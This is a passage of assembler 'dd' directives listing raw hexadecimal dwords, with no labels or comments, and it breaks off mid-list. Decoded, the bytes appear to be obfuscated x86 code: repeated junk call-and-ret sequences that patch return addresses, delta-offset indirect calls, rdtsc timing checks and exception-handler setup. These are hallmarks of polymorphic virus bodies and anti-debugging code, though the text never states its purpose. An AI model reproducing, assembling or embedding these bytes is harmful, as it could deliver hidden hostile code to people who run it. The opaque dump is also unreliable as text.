59C35920h, 4244C89h, 4244481h dd 14h, 93C35141h, 0AD95FFh, 0BD2B05E9h, 5E91651h, 0F2B06096h dd 5061DC8Ah, 2E6DE3BBh, 6A9671h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 66EE6BC3h, 0B5FFD98Bh dd 5ECBACEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0FAC35545h, 95FFD98Bh, 5E93231h, 0B1BD83F9h, 5E92Ah dd 67840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0C0B9A1C3h, 8405C0FFh, 0B3ACBB5Ah dd 0BB6696F7h, 0F500468h, 8Bh, 6A9600h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BE840C3h dd 10000000h, 151AB71Eh, 759850Ch, 0E78184B3h, 49A2E299h dd 0CEB5FF5Fh, 6A05ECBAh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 9430C357h, 6676D30Dh dd 51BD8B29h, 8105E918h, 0F66765EBh, 6195FF3Dh, 6A05E92Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0B2C9C350h, 17B98D89h, 0B5FF05E9h, 5ECBACEh dd 2A79BD89h, 95FF05E9h, 5E92DC5h, 83F88B66h, 0E903FDBDh dd 840F0205h, 75h, 0E94AB060h, 0Fh, 1912FE3Ah, 0C51F055Dh dd 0A79F0013h, 611A332Bh, 3055858Bh, 6A05E9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 9F4766C3h dd 0C6E164h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 66E9BA49h, 0CE86Ah, 2EF00000h, 94E31258h dd 49A77F6h, 0F98B6F17h, 0A985C75Fh, 5E927h, 0F000000h dd 684h, 9D8D8900h, 6605E90Ah, 0E9B208BFh, 0FFFFF31Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0B5C35040h dd 6AC18B9Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0BBB0C356h, 0B90C6982h, 8D9D8B60h dd 6605E92Dh, 0BCA1E681h, 0E5858D61h, 5005E921h, 489F98Ah dd 29006A24h, 0E92E5D85h, 6A006A05h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0F52CC351h dd 0F8FCC74h, 858DF8BFh, 5ED96F6h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0D1C35747h, 6B3A1929h, 7E8E94Dh dd 24000000h, 0D4B3D712h, 91BBA579h, 5F12466Bh, 8905C083h dd 0E9045D9Dh, 66509005h, 990FA8Bh, 0E916EDBDh, 6A006A05h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0E20DC357h, 8166006Ah, 0FFD89BF3h, 0E90AA195h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0CAAA1B62h, 0F3816660h, 858938B3h, 5E92F71h dd 0BF8D8D61h, 6A05ECADh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 85DFC350h, 8A0FE94Ah dd 6, 17B98D29h, 0D1FF05E9h, 4DCF8166h, 0BDBD83FCh, 105E901h dd 69850Fh, 0DE90000h, 0EE000000h, 1870E30Eh, 0E3F5151Dh dd 0B44B2F21h, 8C0F026Ah, 6, 4E58D89h, 509005E9h, 12E8h dd 0FE5D8800h, 1E5A79D3h, 542A4D9h, 551EFE8Eh, 5BAC1311h dd 18A0F90h, 0FC000000h, 0AD95FFh, 6A05E9h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 66801CC3h dd 0E9879DBFh, 0F32h, 0E8h, 0ED815D00h, 5ED9700h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E0C35545h, 6ABBB7h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 8B2D48C3h, 7350B09Ah, 89345F86h, 0E926419Dh, 0D19D2905h dd 8905E918h, 0E90D9D9Dh, 4B858D05h, 6A05EC90h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0F66FC353h, 2F40ABA8h, 6EBB6650h, 24048944h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F9C35646h, 0F5DB80C5h dd 35FF64h, 2B000000h, 0E916399Dh, 25896405h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7FC35040h dd 3CB7E095h, 0BD039EF8h, 5E90579h, 85FFD98Bh, 5E90689h dd 1839BD8Bh, 0FF6A05E9h, 399B5FFh, 4FBB05E9h, 0F4624EFh dd 95FFDAB7h, 5E907C9h, 11EE9h, 0B5853100h, 0B005E902h dd 0F19D8B00h, 0E605E929h, 9BD8B70h, 0E405E931h, 418D8971h dd 3C05E90Fh, 0F8830F61h, 89000000h, 0E912719Dh, 719D8905h dd 0F05E917h, 0DA8BC8B6h, 6BAh, 0B98D8900h, 8B05E926h dd 852960C1h, 5E90CD1h, 7E952h, 0DA40000h, 11C08B63h, 0C1615F50h dd 0D78104E8h, 7D8A098h, 0DED4BF66h, 89E2F766h, 0E90FA18Dh dd 0F8C82B05h, 8BD18BF9h, 0E91F65BDh, 6E905h, 9D8B0000h dd 5E9193Dh, 2B41858Bh, 5E905E9h, 0B3000000h, 498E568Fh dd 8907C083h, 0E924398Dh, 0C08305h, 12599D8Bh, 0D03B05E9h dd 0E830Fh, 0BF0F0000h, 65E9DFh, 8D890000h, 5E908F1h, 1EA18D8Bh dd 14E805E9h, 75000000h, 0B099EDC4h, 148C0459h, 949A277Fh dd 96CB4AEFh, 0FC4A1919h, 1E1835Fh, 35840Fh, 0B70F0000h dd 19D8BD8h, 8305E90Bh, 0E91EA1A5h, 0AE9FE05h, 0B5000000h dd 5AF8087Bh, 790A1D57h, 159589C3h, 8905E910h, 0E92B4195h dd 0EB816605h, 0E952ABh, 8D000000h, 0ED13E9B5h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 481F52C4h, 89B183E7h, 0E927B9BDh, 66006A05h, 9D11DB81h dd 13E852h, 36E00000h, 0BE655F3Dh, 0B54AD9CCh, 0A2C24DBAh dd 0ADFC485Eh, 6DBD8B09h, 5B05E92Eh, 9595FF5Fh, 6A05E91Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0BCC0C350h, 0AE10C602h, 73D381EFh, 891ACA99h dd 0E9068D85h, 780B905h, 9D890000h, 5E91F79h, 6AFCE183h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0ED29C357h, 0BF0F6AECh, 6AFCFFh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 10E89DC3h, 68000000h, 44F340BFh, 0CFED4A21h, 0D9D5CFF9h dd 669B78E1h, 0B85BFE8Bh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1FC35646h dd 5AABCA31h, 0BC4C05B8h, 68E0F6Eh, 1000000h, 0E90B5DBDh dd 6AD22B05h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0ED3DC352h, 851EEEB8h, 0C1DB8183h dd 0AD395FD5h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 5943C357h, 10C311A5h, 85318585h, 5E9162Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0AAC35141h, 0ECF4C7Eh dd 69BD8BF2h, 0D05E912h, 88h, 2F4DBD33h, 958B05E9h, 5E92655h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0ABC35747h dd 0DE83084h, 505E34BBh, 58D8B50h, 6A05E908h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0C067C352h, 13F8F7DDh, 0B59D8BC5h, 5005E904h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 99DFE30Bh dd 800F7A12h, 6, 17C59589h, 0BD8305E9h, 5E91CF1h, 0B2840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 10B6C357h, 785B31BEh, 0B8009445h dd 0 dd 7E9h, 0B44DCC00h, 3DF3C73Ch, 4E6D8D8Dh, 6A05E9h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0AB77DDC3h, 6F3D8671h, 11E8BA2Ch, 78000000h, 5FA7D3CCh dd 71BDD6AFh, 0F688E060h, 8A90FC3h, 8A0Fh, 0F5F0000h, 9D8BDBB7h dd 5E91F51h, 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 129031C3h, 0D242EBEBh, 0FABF0FCBh dd 6CD78166h, 3DBD835Fh, 5E916h, 4DB840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 2F65C6C3h, 292E650Fh, 0E926EDB5h, 3DBD8305h, 105E916h dd 4C2840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 33EAFDC3h, 0DE389F2Bh, 0AE9C394h dd 18000000h, 0A309E648h, 52F717BCh, 3DBD8360h, 305E916h dd 44C860Fh, 0C7810000h, 7AE77EE6h, 56006A60h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 5EFECEFDh dd 66ED79CCh, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 60854AC3h, 0F519589h, 958905E9h dd 5E92CCDh, 4E18061h, 10E9h, 2D126A00h, 26DB581Dh, 225E3C5Dh dd 6AC66C53h, 0FC90ADFh, 16B84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 213A2FEAh dd 426043E0h, 0CE9h, 0E772A300h, 0CE4B396Dh, 6E72887Ch dd 69858B62h, 0F05E928h, 0A87h, 5E900h, 46C60000h, 3340226Dh dd 0E90E6185h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 7D9EB87Dh, 39BD8BD0h dd 9005E924h, 10E960h, 62F00000h, 505EBA8Ch, 0AB1A5531h dd 0F38F768Ah, 5061BBE5h, 6A90F88Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0EE81C353h dd 0FDAD48E5h, 0FCB6C30Fh, 0E8F8B70Fh, 13h, 797AA610h dd 4F3622D3h, 0F4747D1Ah, 9B046E7Ch, 0FB77B2Ah, 8Ch, 6A5F00h dd 6860Fh, 0BD890000h, 5E90F99h, 4E8h, 1F03FF00h, 5E800h dd 23660000h, 0BB017CBDh, 57041E78h, 80B7505Fh, 424448Bh dd 14E85250h, 0B5000000h, 7ED3B57Dh, 0E1E1C0BBh, 59D71B0h dd 140BD5Fh, 0F71C9FAh, 84h, 310F5F00h, 585A40B7h, 6056008Bh dd 0D2F4BF66h, 310F5250h, 5B61585Ah, 4244489h, 8958FB8Bh dd 0E91DB58Dh, 2D95FF05h, 0F805E929h, 0BACE8589h, 0B50905ECh dd 5E931FDh, 1F6E9F9h, 95290000h, 5E90595h, 0BAC6858Bh dd 9D8905ECh, 5E93149h, 1800C7h, 9D8B0000h, 5E92B65h, 8BFEB70Fh dd 0ECBACAB5h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 8B3483BCh, 858B2963h dd 5E92F39h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0D1C35242h, 532865Ch, 9D8B573Eh, 5E90D85h, 3D85895Bh dd 8905E919h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0CA84F5BCh, 1DAFEC00h, 2869858Bh dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 667D6CC3h, 4689B226h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 699AFA68h dd 33B98074h, 0E904DD9Dh, 34895005h, 3D850124h, 0FF05E90Dh dd 0ECBAC6B5h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 6911EB70h, 4E8F1h, 3FF0000h dd 8B66001Fh, 0DD8A50FEh, 424448Bh, 0FE9h, 0EFB6500h, 2933166h dd 39EEED03h, 0D28F6F96h, 5250008Bh, 310FDE8Bh, 5B29A9BBh dd 89585A76h, 66042444h, 584DEFBBh, 4E98531h, 858D05E9h dd 5ECBACEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 8EC35545h, 8C3E12D5h, 831950B6h, 89D88B50h, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0E2BBD0C3h, 0F11B9F04h, 8BF63540h, 0E92301BDh, 29566005h dd 0E90E4D8Dh, 0FF615E05h, 0E9292D95h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 9D89A813h, 5E90761h, 85C7FC61h, 5E9163Dh, 3, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 1FC35545h, 0B44FF08Eh dd 0DF98509h, 816605E9h, 83DEB6F3h, 0ECBACEBDh, 840F0005h dd 36h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h dd 25C35646h, 2D9589D3h, 0F05E90Dh, 26E9F9B7h, 0E9000000h dd 6, 3299BF77h, 3050D64Eh, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 0D9589C0h, 8305E927h, 0E9163DBDh dd 850F0305h, 473h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 61C35545h, 93E59BD5h, 1D68060h, 0F9D88166h dd 0BF0F6140h, 0CEBD83FEh, 5ECBAh, 439840Fh, 0BE80000h dd 4F000000h, 95A243DAh, 3B3EFBB5h, 0F605753h, 85h, 49950300h dd 6105E900h, 0CEB5FF5Fh, 0FF05ECBAh, 0E92B7595h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 63F092B6h, 8B6651FCh, 0B58B5BFBh, 5ECBAC2h, 38B0Fh dd 8B660000h, 106C7F9h, 6A000100h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 1A93C356h dd 65E03379h, 0BD01FC8Ah, 5E903D5h, 850F6096h, 15h, 0FE8h dd 0DEF3D200h, 6FAE907Dh, 0C0B55857h, 149D269Bh, 9650615Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0AEC35545h dd 745B2D98h, 89B14B5Ah, 0E90CC58Dh, 8E905h, 430B0000h dd 0C9FDEF9Dh, 0B5FF9252h, 5ECBACEh, 4D95FFF9h, 8B05E92Bh dd 0E928CDBDh, 0C2B58B05h, 6A05ECBAh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 2E6FC353h dd 0B0FD345Dh, 0DC3EDF81h, 858B50E4h, 5E90FDDh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0A2C35343h, 58E0Fh dd 34BF0000h, 896B8BF0h, 0C486h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 958B2A71h dd 5E92655h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 41C35545h, 23BCEFD6h, 66FDFF53h, 26ACF81h, 6A04C283h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 4E5DC356h, 577D4FAFh, 0F46FF16h, 38Eh, 0FDD78000h dd 205089F8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 3EC35141h, 93F6D829h, 3016AE99h, 0C9BD896Ah, 8D05E92Dh dd 0ECD05585h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 66F2D389h, 8834426Dh, 4AEF809Ah, 12E9h, 0E394BE00h dd 0EE931DB6h, 0D87105C7h, 0D819E7AEh, 896D9F46h, 0B886h dd 55850900h, 6A05E906h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 855732F8h, 49BD2BB2h dd 0FF05E916h, 0ECBACEB5h, 9589FC05h, 5E92D69h, 0AD95FFh dd 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0BBC97C3h, 0D098DBFAh, 505B5296h, 0F98B6696h dd 0BACEB5FFh, 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0E9228CC3h, 69C868BEh, 1D8D9D8Bh dd 9CBB05E9h, 0E96F18ECh, 11h, 0CA593E29h, 6EED83C3h, 7F6B9C0Bh dd 891F19F4h, 3195FF34h, 6A05E932h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0D2F6C352h dd 9D89BD17h, 5E90DC1h, 0BD83FE8Ah, 5E92AB1h, 43840F00h dd 66000000h, 8D89FA8Bh, 5E91F19h, 0DE950h, 53900000h dd 20660FDAh, 0D9BE6824h, 898E3E84h, 6A2434h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 43B5EDC3h dd 865B6767h, 0B5FFAA77h, 5ECBACEh, 191D8589h, 95FF05E9h dd 5E92F61h, 3BD1BB66h, 0BACEB5FFh, 5E905ECh, 0D6000000h dd 9E551DD8h, 2DC595FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 381060C3h, 0D4D38149h dd 0E949F728h, 6, 9FC2B851h, 0BD837A09h, 5E903FDh, 38840F02h dd 89000000h, 0E907C5B5h, 55858B05h, 6A05E930h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 35EAC350h, 0D03E208h, 8B0000C6h, 0F2DB81D8h, 0C7356D79h dd 0E927A985h, 5, 68B0F00h, 1000000h, 0E9306D9Dh, 39950105h dd 0E905E929h, 0FFFFF20Eh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 2EC35141h, 644588E5h, 0FFBF0F17h, 6AC18Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 11D537C3h, 858DE293h, 5E921E5h, 2D699589h, 9D8B05E9h dd 5E92245h, 14E890h, 55CB0000h, 4290C1BCh, 0B9AE3239h dd 8CF70187h, 30CA1439h, 0AE87A7Eh, 9C000000h, 2349CFBDh dd 0B501554Eh, 505B5B4Fh, 5216BF60h, 52503182h, 0FFE8B66h dd 0C78B6631h, 9061585Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 2CC35242h, 0DE8A8EE3h, 0AE8006Ah, 2000000h dd 8A6D3ED5h, 0F00AFA78h, 4B35F0Bh, 5B51006Ah, 0A80E858Dh dd 6A05EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0F7879C3h, 0C083FABFh, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 6D5F351Bh dd 4F19C4E1h, 0B5897E47h, 5E92F4Dh, 0A0BB6690h, 46BF50A2h dd 9069455Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0F5C35040h, 0FBAE289h, 6ADEBFh, 3BEB8166h, 8B006A74h dd 0E90FA99Dh, 0A195FF05h, 6A05E90Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 6D60C356h dd 0BF8D8DCCh, 6A05ECADh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 61DAC356h, 0CD5E6169h dd 0D1FF59CFh, 245DBD8Bh, 0BD8305E9h, 5E901BDh, 64850F01h dd 89000000h, 0E931619Dh, 0FC026A05h, 0CA8A6050h, 8961E28Ah dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0E96066C3h, 0Bh, 2C8806A0h, 5CB3DFBDh, 61D179E8h dd 0AD95FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0E93A6AC3h, 0E24h, 0E8h, 0ED815D00h dd 5EDA818h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 3C35646h, 5394F2Bh, 6A38B3h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 1B73D3C3h dd 8DF86265h, 0EC904B85h, 0DFB70F05h, 0DF8B6090h, 14E95061h dd 0B5000000h, 0F160E8ADh, 20A56E9Fh, 26BD7DEDh, 0EE3C0D9Fh dd 90BAA0FAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0BFC35343h, 9804750Fh, 0D07FA7B3h, 0FEAABF1Bh dd 0FF6428E8h, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 5736CEA5h, 3B1BD89h, 645F05E9h dd 2589h, 58BB0000h, 0FF1C8734h, 0E9068985h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 58FF08A8h, 0DD31684Dh, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0EEAE61C3h, 16AAEF74h dd 890F54h, 0FF000000h, 0E910E9B5h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 8AF10547h dd 9B589F4h, 0FF05E912h, 0E907C995h, 137E905h, 0BF0F0000h dd 3D9D2BDEh, 0B005E930h, 0C8E0F00h, 0F000000h, 68Ah, 11BD0100h dd 0E605E931h, 0E4D88B70h, 1C810F71h, 0E8000000h, 10h dd 0B49E75Eh, 32865CD1h, 7C9D3E05h, 0DDCAFB61h, 23DBD8Bh dd 3C5B05E9h, 0EA830F61h, 89000000h, 0E90E7D95h, 0C8B60F05h dd 82BF6651h, 6BA5BA2h, 89000000h, 0E932BD9Dh, 60C18B05h dd 0EE96BB4h, 17000000h, 0E8F2F51Ah, 5EC5C0BFh, 28DFAC49h dd 0E8C16178h, 12C78004h, 57E2F766h, 5FF88B66h, 9D8BC82Bh dd 5E90499h, 0BD8BD18Bh, 5E918D1h, 2E9h, 8B5F5700h, 0E90B4185h dd 619D0905h, 6605E918h, 0C083DA8Bh, 4EC6BF07h, 0C0830307h dd 0D88B6600h, 830FD03Bh, 34h, 0FE960h, 1DE20000h, 54B78827h dd 7D49A113h, 848AA61h, 0BE91Fh, 3E1B0000h, 0E5252F5Bh dd 0BD5A1EBDh, 42E961ADh, 0F000000h, 9589F8B7h, 5E92949h dd 1E198D8Bh, 8B6605E9h, 1E183DFh, 27840Fh, 8D290000h dd 5E91F89h, 1E19A583h, 66FE05E9h, 9D8BF88Bh, 5E928B1h dd 0B419589h, 9D8B05E9h, 5E92F45h, 0E9h, 9EB58D00h, 8905ED1Dh dd 0E9162985h, 830F6005h, 6, 5C59531h, 9D8905E9h, 5E91941h dd 6A006A61h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0F57EC353h, 1935B509h, 95FF05E9h dd 5E91E95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 21C35545h, 983C57F3h, 0BF66527Bh, 0B95F0BF5h, 828h dd 1A70C2BFh, 819D8918h, 8305E92Ah, 6AFCE1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 145695C3h dd 104B1BC9h, 0FBA893Dh, 0BD8BDFBFh, 5E92745h, 0B19589FCh dd 0B805E90Dh, 0 dd 78A0Fh, 810F0000h, 1, 0E9D22BF8h, 0Ah, 0F594F822h, 31FC8C4Ch dd 33ADCAA9h, 3E8D1C2h, 4E983D0h, 0F53F475h, 1183h, 0CE900h dd 81070000h, 0FD647B81h, 0E8A44FE0h, 0E85B97F1h, 5, 30496A40h dd 880D5FE7h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 71E3C351h, 88687EAEh dd 0BB9BA3CEh, 2655958Bh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0BD8B2EC3h, 5E92A2Dh dd 8058D8Bh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0B82FC3h, 224B3D8Ah, 12499D8Bh dd 8B5005E9h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 5B19D29h, 840F05E9h, 5, 0DEBF0F56h, 0F1BD835Fh, 5E91Ch dd 0BC840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0F86C4DC3h, 9E9h, 7735C300h, 0E0E00893h dd 12E82708h, 82000000h, 0A27D100Bh, 0DECB72FFh, 0BDC82CC5h dd 89FD2F43h, 9D89567Ah, 5E91805h, 0B85B5Bh, 0F000000h dd 0B87h, 0BF0F6000h, 0C98589F6h, 6105E91Dh, 30B59589h dd 8D8D05E9h, 5E94E6Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0A2C35747h, 0B711681h, 0A0D78099h, 6AE1FFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0FBD2D2C3h, 137FE00Dh, 0E3816622h, 0BD8348CDh, 5E9163Dh dd 2A840F00h, 0F000004h, 0BD83FAB7h, 5E9163Dh, 35840F01h dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0D14CC350h, 3DBD839Fh, 305E916h dd 3D4860Fh, 0BB660000h, 6A608260h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0D4E6C351h dd 0AC4BC82h, 2DBD9D8Bh, 8C6605E9h, 0B99D2BD9h, 8005E904h dd 6A04E1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 6AD793C3h, 9EB87DF6h, 0AF8D07Dh, 90840FC9h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0CFA5C353h, 0B8AFA1C1h, 4237DD80h dd 618D8960h, 8A05E918h, 858B61D1h, 5E92869h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 7CC35040h, 67981805h dd 8971C222h, 0E90E59B5h, 61853305h, 8905E90Eh, 0E92EA59Dh dd 4895005h, 0DBB70F24h, 8589006Ah, 5E905F9h, 4E8h, 1F03FF00h dd 52505000h, 5250310Fh, 310FFA8Bh, 585A6160h, 448B585Ah dd 0BF660424h, 8B43E9h, 89DE8B66h, 66042444h, 6A58D98Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 8853C355h, 98D58CF3h, 0FF6552BAh, 0E9292D95h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0CB026C4h, 10E956h, 78EC0000h, 0E821B27Ch dd 89D9ED04h, 0DDC6393Eh, 890F58EDh, 6, 171D8D89h, 858905E9h dd 5ECBACEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 95C35343h, 0E8A2DC5Bh, 0D71B358Fh, 0F59D0957h dd 5F05E908h, 19FE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 9D99303Bh, 830F6D7Dh dd 19h, 138F0Fh, 0DE80000h, 0CC000000h, 3594B863h, 14428D92h dd 0E4ED9185h, 25BD8B5Bh, 8B05E92Bh, 0ECBAC685h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 97DD20B5h, 8BABA71Fh, 0E917159Dh, 0AE905h, 446F0000h dd 0A3F6286Dh, 0E0F73543h, 1800C7h, 9D8B0000h, 5E93101h dd 0BACAB58Bh, 8D0F05ECh, 0 dd 2F39858Bh, 89F905E9h, 0D98D0106h, 8B05E90Bh, 0E9286985h dd 5E805h, 0FFF10000h, 8B0F35CBh, 0E90085BDh, 46895F05h dd 5AB2BF04h, 50503EB3h, 2434895Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 8EC35747h, 98E090CFh, 536024DFh dd 0B73E7ABBh, 0BF0F5B09h, 64B761F7h, 0BAC6B5FFh, 6A05ECh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 64B367C3h, 